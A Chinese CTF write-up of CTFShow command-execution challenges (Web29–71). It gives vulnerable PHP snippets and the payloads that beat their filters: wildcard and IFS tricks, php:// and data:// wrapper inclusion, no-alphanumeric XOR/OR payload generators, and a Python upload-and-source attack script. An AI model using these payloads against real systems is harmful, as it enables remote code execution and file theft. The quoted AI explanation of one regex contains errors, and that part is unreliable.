CTFShow-命令执行

Web29:

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

​ 过滤了文件关键词,通配符绕过,cat f*,用system执行,发现没有成功读取,考虑使用tac倒序读取,得到flag。

总结,文件关键词过滤可以考虑使用通配符绕过。

Web30:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

​ 过滤了system,并且用的屎eval函数。

​ 这里先试试反斜杠绕过,似乎无法绕过。

​ 那么就试着反引号绕过,echo `ls`; ,成功绕过,之后直接echo `tac fl*`;读取flag。

Web31:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

​ 这里发现空格,单引号被过滤了,还有小数点,没有过滤反引号,直接反引号绕过,成功绕过system,cat被过滤就tac读取,空格用%0a或者%09绕过。

​ 前置知识:

空格过滤:

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

cat过滤:

more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

Web32:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

​ 过滤了system和反引号还有echo,这里看似挺严格的,但是print_r或者var_dump没有过滤,应该可以利用下,但是,system被过滤了,只有无回显RCE了,但是,过滤了左半边括号,这样就没法绕了,试一试不需要括号的语句:

<?php
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>

可以配合文件包含来打伪协议,具体payload类似下面这样:

include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web33:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

​ 多过滤了分号和双引号,反引号和空格等等依然被过滤了,这个时候似乎更难办了,还是打文件包含加伪协议来打:

include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web34:

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

​ 多过滤了一个冒号,方法同上:

include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

​ 这里解释一下,这里出现冒号依旧绕过了的原因是因为PHP把前面的include到?>的认为成一个get传参,另一个,也就是&url被认为是另一个传参,正则只检测第一个部分,第二个部分就不会检测了。

Web35:

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

​ 小于符号也被过滤了,不过无伤大雅,依旧老样子,因为没有过滤>,所以依旧能用上面的payload打:

include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web36:

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

​ 这里连带着数字一起过滤了,无伤大雅,继续文件包含一把梭:

include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web37:

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

​ 文件包含过滤了flag,这个时候可以考虑include一个data伪协议输入的命令参数,具体如下:

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

第一:使用通配符绕过flag:

?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>

第二:使用base64绕过flag:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

#base64解码为<?php system('cat flag.php');?>

Web38:

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }   
}else{
    highlight_file(__FILE__);
} 

​ 相较于上一个题多过滤了一层php,使用base64绕过就行:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

​ 或者,使用短标签绕过:

?c=data://text/plain,<?= system("tac fla?.???");?>

Web39:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

​ 过滤了flag,但是文件包含里存在.php的后缀,好像无伤大雅,和上一题一样,短标签打。

/?c=data://text/plain,<?= system("tac fla?.???");?>

​ 由于两端合在一起就类似于<?= system('tac fla*');?>.php,.php因为已经被标签闭合在外面,所以不会被当作文件包含的后缀算进去,依旧能进行RCE。

Web40:

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

​ 过滤了数字,和各种符号,但是过滤似乎有点儿问题,没有过滤英文的括号,过滤成了中文的括号,所以,无参数RCE,可以一把梭:

payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

​ 前置知识:

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() :返回数组中的当前元素的值;默认取第一个值
pos()current() 的别名
reset()array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
array_reverse():数组逆序
(如果不是数组的最后一个或者倒数第二个呢?我们可以使用array_rand(array_flip())array_flip()是交换数组的键和值,array_rand()是随机返回一个数组)
scandir():列出指定路径中的文件和目录
next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。

​ 或者使用:

查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

Web41:


if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

​ 无字母数字RCE,并且因为过滤了$、+、-、^、~所以无法使用异或、自增和取反绕过,不过,听说网上还有另一个操作,就是利用管道符,也就是| 运算符,这里贴一下相关的文章:

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

ctfshow web入门 web41

​ 这里给了两个代码:

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

​ 还有python的:

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

​ 另一个,贴一下羽神的脚本,这个感觉更好用。

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)|urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

Web42:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

​ 对于这里的,可以参考下下面这篇文章: Shell脚本———— /dev/null 2>&1详解

​ 这里如果只是想要解题的话,可以想办法让后面的不执行,或者前后分离开就行了,这里有如下几种方法:

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

Web43:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

​ 对比上一题,多了一层过滤,多了一个cat和分号,老样子,同一个payload:

?c=tac fla* ||

​ 再一次,贴一下可以绕过的方式:

?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

Web43:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

​ 对比上一题,多了一层过滤,多了一个cat和分号,老样子,同一个payload:

?c=tac fla* ||

​ 再一次,贴一下可以绕过的方式:

?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

Web44:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

​ 多过滤了flag,通配符绕过:

?c=tac f* ||

Web45:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

​ 过滤了空格,老样子,IFS绕过:

c=tac${IFS}fla*||

Web46:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

​ 过滤了空格和星号,星号直接用问号绕过,空格使用%09绕过:

?c=tac%09fla?.php|| #这里的%09不属于数字

​ 过滤了空格:

>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09

Web47:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

​ 过滤了除了tac以外的很大一部分读取文件的操作,flag也被过滤了,还有空格和星号,绕过方式和上一个一样:

c=tac%09fla?.php||

Web48:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

​ 不是,怎么多了这么多不认识的命令?

​ 不过无所谓,发现还是老样子,tac、管道符和问号没有被过滤,直接无脑冲:

c=tac%09fla?.php||

Web49:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

​ 没有过滤tac,但是过滤了百分号,不过这里无伤大雅,因为%09不会被当作%,所以直接

?c=tac%09fla?.php||

Web50:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

​ 丸辣,过滤了\x09,没法过了,那就使用<>来绕过,不过,<>和通配符?一起使用的时候不回显,所以用反斜杠绕过关键字flag:

?c=tac<>fla\g.php||

Web51:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

​ 靠,tac被过滤了,不过无所谓,system函数在某些时候可以用反斜杠来分割关键字,直接一把梭:

?c=ta\c<>fla\g.php||

Web52:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

​ 丸辣,这里过滤了大小于符号,不过,突然发现好像没有过滤掉$符号,很好,直接IFS绕过。

?c=ta\c${IFS}fla\g.php||

?c=ta\c${IFS}fl’'ag.php||

​ 不过没有找到flag,flag会在哪里呢?在根目录找到了flag。

Web53:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

​ 没啥说的,IFS绕过一把梭:

?c=ta\c${IFS}fla\g.php

Web54:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

​ 这又是啥正则?ai的解释如下(部分正确,不可全信):

这行代码是使用PHP的preg_match函数来检查一个字符串(假设为变量$c)是否包含一系列特定的模式或字符。这些模式通常与尝试绕过安全限制、注入恶意代码或执行不期望的命令有关。下面是对这个正则表达式中各个部分的解释:

  1. \;:查找分号(;),这通常用于命令分隔,在某些情况下可能被用于尝试执行多条命令。
  2. .*c.*a.*t.*:查找包含cat的字符串,cat是一个常用于Unix/Linux系统中查看文件内容的命令。
  3. .*f.*l.*a.*g.*:查找包含flag的字符串,这可能是在尝试获取某种“标志”或敏感信息。
  4. [0-9]:查找空格后跟任何数字,这可能是在尝试绕过基于特定字符的限制。
  5. \*:查找星号(*),在某些上下文中,它可能用于通配符匹配或具有特殊意义。
  6. .*m.*o.*r.*e.*.*w.*g.*e.*t.*.*l.*e.*s.*s.*等:这些模式分别查找包含morewgetless等命令的字符串,这些命令通常用于文件操作或数据传输。
  7. .*h.*e.*a.*d.*.*s.*o.*r.*t.*.*t.*a.*i.*l.*等:查找包含headsorttail等Unix/Linux命令的字符串,这些命令用于处理文本数据。
  8. .*s.*e.*d.*.*c.*u.*t.*.*t.*a.*c.*等:查找包含sedcuttac等命令的字符串,这些命令用于文本处理。
  9. .*a.*w.*k.*:查找包含awk的字符串,awk是一个强大的文本处理工具。
  10. .*s.*t.*r.*i.*n.*g.*s.*:查找包含strings的字符串,strings命令用于提取二进制文件中的可打印字符串。
  11. .*o.*d.*:查找包含od的字符串,od(八进制转储)命令用于以八进制或其他格式转储文件内容。
  12. .*c.*u.*r.*l.*:查找包含curl的字符串,curl是一个用于传输数据的命令行工具。
  13. .*n.*l.*:可能意图查找包含nl的字符串,但此模式较为宽泛,因为nl是常见字母。
  14. .*s.*c.*p.*:查找包含scp的字符串,scp是安全复制命令,用于在本地和远程之间安全地传输文件。
  15. .*r.*m.*:查找包含rm的字符串,rm命令用于删除文件或目录。
  16. \%\x09\x26><:查找反引号(```)、百分号(%)、制表符(\x09)、&符号的HTML实体(\x26)、大于号(>)、小于号(<),这些字符或模式可能在尝试执行命令或注入代码时具有特殊意义。

整个正则表达式使用了i修饰符,表示不区分大小写。如果preg_match返回false(即没有找到匹配项),则意味着字符串$c不包含上述任何敏感模式或字符。这通常用于安全检查,以防止潜在的恶意输入。

​ 这里直接用下面这个方式绕:

?c=grep${IFS}'{'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)

Web55:

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

​ 终于到了新玩意儿了,无字母RCE,有几种方法:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:

?c=/???/????64 ????.???
意思是 /bin/base64 flag.php

Web56:

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}


解题思路:过滤了分号,字母,数字等等符号
本题没有过滤符号.(),因此可以想到linux中该符号.()的用法,与source命令用法相同:linxu中source命令和.()
总体分析后,可以post上传一个php文件,内容为所需执行的linux指令,然后使用glob通配符和.()来将其中的内容以linux指令的形式来进行执行。

​ 还是system,不过这次多过滤了字母。用下面这个脚本去跑,不过原理不是很清楚,贴一个链接,有条件就去学习一下。

LINUX中的点命令,或source命令,或点符号

无字母数字webshell之提高篇

​ python脚本如下:

import time
import requests

url = "http://c7ab10d0-d6da-40f4-8e90-c56abda22ce1.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}


with open('.\\a.txt','r') as file:
    files = {'file': file}
    while 1:
        r = requests.post(url,params=payload,files=files)

        if r.text:
            print("\n" + r.text)
            break

        time.sleep(1)
        print(".", end=' ',flush=True)

​ 另外还需要创建一个a.txt文件,里面的内容为cat flag.php

Web57:

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

​ 这个似乎可以取反做:

在liunx中,$(())为0 , ( (   ((~ (( (())))为-1 ~ 代表取反, 0 取反后为 − 1 ,这样就可以先构造出 − 37 ,取反后就为 36 ,也就是 代表取反,0取反后为-1,这样就可以先构造出-37,取反后就为36,也就是 代表取反,0取反后为1,这样就可以先构造出37,取反后就为36,也就是(())中有37个 ( (   ((~ (( (())))在加上取反,也就是 ( (   ((~ (( (( ))))中有37个-1

​ 先贴一个无字母数字RCE的总结:

无字母数字webshell总结

无数字字母rce总结(取反、异或、自增、临时文件)

​ 可惜,做题的这个考点似乎这两篇文章里没有:

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用 获取 ( ( ) ) 命令的结果,这和使用 获取 (( )) 命令的结果,这和使用 获取(())命令的结果,这和使用获得变量值是类似的。 可以在 (( )) 前面加上 符号获取 ( ( ) ) 命令的执行结果,也即获取整个表达式的值。以 c = 符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c= 符号获取(())命令的执行结果,也即获取整个表达式的值。以c=((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

echo ${_} #返回上一次的执行结果`
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36

​ 所以payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

​ 可以用这个脚本生成简单的数字:

num_1 = "$((~$(())))"
inta = 36
resp = "$((~$(("+ num_1 * 37  +"))))"
print(resp)

Web58:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

​ 乍一看,好像很简单,不过,当我post了一个phpinfo之后,发现了函数被禁了:

Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

​ 建议直接fuzz一下,看看具体哪些被ban了,这里就直接show_source了:

c=show_source(‘flag.php’);
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

Web59:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

​ 具体不知道有些啥被ban了,只能一个个测,结果和上一题一样,show_source依旧过了:

c=show_source(“flag.php”);

Web60:

题目:
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

​ 一模一样,直接给paylaod:

c=show_source(“flag.php”);

Web61:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

​ show_source百试不爽啊。

c=show_source(“flag.php”);

Web62:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

c=show_source(“flag.php”);

Web63:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

c=show_source(“flag.php”);

Web64:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

c=show_source(“flag.php”);

Web65:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

c=show_source(“flag.php”);

Web66:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

​ show_source函数被ban了,highlight_file没有被ban,试试看,结果flag没有在flag.php里,通过如下payload发现flag在根目录下:

c=print_r(scandir("/"));

#Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var ) 

​ 那就用highlight_file去读根目录:

Web67:

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

​ print_r被过滤了,试试看var_dump,没有被过滤,继续scandir去读目录结构。

c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");

Web68:

​ 由于 highlight_file() 被ban了,读不到源码,所以就直接开打了,先测一下var_dump,var_dump和scandir都没有被ban,直接读根目录,找到了flag.txt:

c=var_dump(scandir("/"));


#array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } 

​ 之后就是其他手法了,根据txt文件,推测flag应该不会被当作php代码执行,所以试着使用文件包含等手法读flag:

c=include("/flag.txt");

Web69:

​ ban了highlight_file、var_dump,那就用var_export,输出目录结构:

c=var_export(scandir("/"));

#array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

​ 之后include包含/flag.txt文件即可得到flag。

Web70:

​ 通过var_export读取文件目录结构,再用include 包含/flag.txt,和上面几个题没有任何区别。

Web71:

​ 附件里给了源码:

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

​ 有几个点需要注意:

$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容

​ 也就是说,这里需要在执行上面两个函数之前,把程序输出出来就行了,这个时候,就可以选择提前结束掉整个程序,因为缓冲区就是在程序结束之前需要将里面的所有内容全部输出才行:

c=var_export(scandir('/'));exit();

